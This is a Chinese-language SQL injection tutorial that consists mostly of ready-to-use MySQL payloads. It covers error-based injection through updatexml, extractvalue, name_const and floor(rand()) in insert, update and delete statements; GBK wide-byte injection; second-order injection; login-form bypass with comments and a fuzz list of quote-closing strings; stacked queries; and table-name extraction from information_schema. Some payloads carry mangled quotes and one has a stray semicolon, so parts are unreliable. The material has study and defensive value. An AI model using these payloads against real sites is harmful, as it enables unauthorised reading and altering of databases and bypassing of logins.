基于insert/update/delete的注入
一般处在于信息修改处(如注册,修改用户名密码等),可使用单引号进行注入尝试,含有注入漏洞处若开启了mysql显错函数则可看到错误页面
利用的条件:
需要注意的是,报错注入需要通过php中的mysql_error()
显示。
下面的例子:
$sql = mysql_query(‘select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)‘); $row = mysql_fetch_array($sql); $strid = $row[‘id‘]; echo $strid;
这样在界面上是没有显示的,需要通过mysql_error()
显示。
$sql = mysql_query(‘select * from users where id=1 and updatexml(0,concat(0x7e,(select version())),1)‘); if(!$sql) { echo mysql_error(); } $row = mysql_fetch_array($sql); $strid = $row[‘id‘]; echo $strid;
只有加入了mysql_error()
才能够显示错误,所以来说报错注入还是具有一定的条件的。
显错模式下在insert、update、delete语句中人为构造语法错误,利用如下语句
insert into users(id,username,passowrd) values (2,‘‘inject here‘‘,‘Olivia‘); insert into users(id,username,passowrd) values (3,""inject here"",‘Olivia‘);
大家看到本来要填入username字段的地方,我们填入了‘injectio here‘
和"inject here"
两个字段来实现报错,一个单引号包含,一个是双引号包含,要根据实际的注入点灵活构造。
updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。
函数解释:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
payload: or updatexml(1,concat(0x7e,(version())),0) or
insert into users(id,username,passowrd) values(2,‘Olivia‘ or updatexml(1,concat(0x7e,(version())),0) or ‘‘,‘Nervo‘);
update user set passowrd=‘Nicky‘ or updatexml(1,concat(0x7e,(version())),0) or ‘‘ where id=2 and username=‘Nervo‘;
delete from users where id=2 or updatexml(1,concat(0x7e,(version())),0) or ‘‘;
注意可更换其中的注入语句来进行获取数据如:or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or
extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数。
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
payload:or extractvalue(1,concat(0x7e,database())) or
insert into users(id,username,password) values(2,‘Olivia‘ or extractvalue(1,concat(0x7e,database())) or ‘‘,‘Nervo‘);
update users set passowrd=‘Nicky‘ or extractvalue(1,concat(0x7e,database())) or ‘‘;
delete from users where id=1 or extractvalue(1,concat(0x7e,database())) or ‘‘;
同样的可将其中的database()函数替换为其他查询语句进行查询 如:
获取newdb数据库表名:insert into users(id,username,passowrd) values(2,‘Olivia‘ or extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1))) or ‘‘,‘Nervo‘);
name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数,当用来产生一个结果集合时,NAME_CONST()促使该列使用给定名称。
Payload:or (select * from (select name_const(version(),1),name_const(version(),1))a) or
insert into users(id,username,passowrd) values(2,‘Olivia‘ or (select * from (select name_const(version(),1),name_const(version(),1))a) or ‘‘,‘Nervo‘);
update users set passowrd=‘Nikcy‘ or (select * from (select name_const(version(),1),name_const(version(),1))a) or ‘‘;
delete from users where id=1 or (select * from (select name_const(version(),1),name_const(version(),1))a) or ‘‘;
同理也可以使用查询语句进行数据查询进行,但在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息,但是在一些比较旧的高于5.0.12(高于5.0.12)的MYSQL版本中,可以进一步提取更多数据。
其原理与select查询时的显错注入一致。
insert into users(id,username,passowrd) values(1,‘Olivia‘ or (select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x;
) or ‘‘,‘Nervo‘);
delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a)
delete from users where id=1 or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a)
同理提取数据获取newdb数据库表名:insert into users(id,username,passowrd) values(1,‘Olivia‘ or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e)x from information_schema.character_sets group by x)a) or ‘‘,‘Nervo‘);
‘or (payload) or ‘ ‘ and (payload) and ‘ ‘ or (payload) and ‘ ‘ or (payload) and ‘=‘ ‘ * (payload) *‘ ‘ or (payload) and ‘ "- (payload) -"
利用的
Mysql的宽字节注入
宽字节注入原理:
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。
%DF’ :会被PHP当中的addslashes函数转义为“%DF\‘” ,“\”既URL里的“%5C”,那么也就是说,“%DF‘”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
实例:(对于字符型的注入转义单引号使黑客不能闭合引号可防止sql注入,但对于数字型的注入点,在不需要引号的注入条件下对注入查询没有影响)
注入点:http://admin.com/index.php?id=1
提交 %bf’ 出现错误,由此可见存在宽字节注入。
http://admin.com/
index
.php?id=1%df‘
order
by
2%23
======>推出有两个字段数
将中间段换做注入语句即可。
二阶SQL注入:
大致过程:
1;攻击者在http请求中提交恶意输入;
2;恶意输入保存在数据库中;
3;攻击者提交第二次http请求;
4;为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;
5;如果攻击成功,在第二次请求响应中返回结果。
原理讲解:
假设一个网站数据库中存在一个用户名为:“admin”,密码为:“123456”。攻击者注册用户名为:“admin‘-- ”,密码为:“123”;程序中的代码为:
String name=StringEscapeUtiles.escapeSql(request.getParameter("Name"));
String pwd=StringEscapeUtiles.escapeSql(request.getParameter("pwd"));
String sql1="insert into user(username,password) values ("name","pwd")";
程序在把输入数据存入数据库之前,对输入的数据中的单引号进行了转义来防止恶意输入对对数据库中数据带来的影响,避免了一阶注入带来的问题,但是在数据库中存入的用户名任然为:“admin‘-- ”。现在攻击者要更新密码,程序会首先判断用户是否存在,代码为:
String name=StringEscapeUtiles.escapeSql(request.getParameter("Name"));
String oldpwd=StringEscapeUtiles.escapeSql(request.getParameter("oldpwd"));
String newpwd=StringEscapeUtiles.escapeSql(request.getParameter("newpwd"));
String sql2 = "select * from user where username="name" and password="oldpwd"";
确认用户存在且密码正确时,应用程序执行更新密码语句:
sql3="update user set password="newpwd" where username="username"";
在数据库中执行语句为:
update user set password =“111111” where username=‘admin‘-- ‘
在数据库语句这种“-- ”表示注释,因此“-- ”后面的语句不会执行;最终攻击者改变的不是“admin‘-- ”的密码,而是admin的密码,从而实现攻击。
登录框处的注入:
如一个系统是通过
SELECT * FROM accounts WHERE username=‘admin‘ and password = ‘password‘这种显式的SQL来进行登陆校验,也就是执行这个SQL语句,如果数据库中存在用户名为admin, password为password的用户,就登陆成功,否则就登陆失败。2. 系统没有对用户输入进行全面的过滤3. 系统后台使用的是MYSQL数据库4. 系统中存在一个user name为admin的用户攻击原理:利用MYSQL的注释功能,也就是"/*", mysql执行SQL脚本时,如果遇到/*标示符,就会把之以后的SQL当做注释而不会执行,正常情况下用户在用户名框内输入"admin",在password框内输入"password", 后台执行的SQL语句就为SELECT * FROM accounts WHERE username=‘admin‘ and password = ‘password‘但是如果在用户名框内输入"admin‘ AND 1=1 /*", 在密码框内输入任意字符串,那么后台执行的SQL就为SELECT * FROM accounts WHERE username=‘admin‘ AND 1=1 /* and password = ‘aa‘, 可以看到数据库实际执行的SQL为SELECT * FROM accounts WHERE username=‘admin‘ AND 1=1, 而/*后面的SQL就被当做注释而忽略掉了,登陆成功!
若有回显也可以使用的报错查询试试,输入:uname=1&passwd=1‘) and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 0,1))) #&submit=Submit
注意:登录框的地方很多时候都没有报错信息,那么怎么判断后台的sql拼凑方式呢? 目前我的办法是将这些比如1‘ or ‘1‘=‘1‘ # ; 1" or "1"="1" # ;
1‘) or ‘1‘=‘1‘ # ; 1")or "1"="1" # 等等做成一个字典,然后进行fuzz。
多语句注入:
平常我们注入时都是通过对原来sql语句传输数据的地方进行相关修改,注入情况会因为该语句本身的情况而受到相关限制,例如一个select语句,那么我们注入时也只能执行select操作,无法进行增、删、 改, 其他语句也同理,所以可以说我们能够注入的十分有限。但堆叠注入则完全打破了这种限制,其名字顾名思义,就是可以堆一堆sql注入进行注入,这个时候我们就不受前面语句的限制可以为所欲为 了。其原理也很简单,就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候我们使用增删查改毫无限制。
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行, 但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够 被使用,将可能对网站造成十分大的威胁。
例如下面的PHP页面调用sql语句时用的是mysqli_multi_query()函数,所以此时可以使用堆叠注入,如图:
https://upload-images.jianshu.io/upload_images/13183513-d84e4545b7a7c016.png?imageMogr2/auto-orient/strip|imageView2/2/w/558
此时我们尝试注入语句:‘; insert into users(id,username,password) value (66,‘acca‘,‘bbc‘)--+
,注入后发现数据库内新增一条数据
https://upload-images.jianshu.io/upload_images/13183513-f64f77959ece292a.png?imageMogr2/auto-orient/strip|imageView2/2/w/558
跨库查询:
跨库注入需要数据库的root权限才能进行
网站用户权限一般有两种情况:1、不同用户管理不同的网站数据库 2、 root用户管理所有网站数据库
这两种情况是由连接数据库时的用户决定的。
https://img-blog.csdn.net/20180623233138786?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2JhaWR1XzM3MTA4MzU4/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70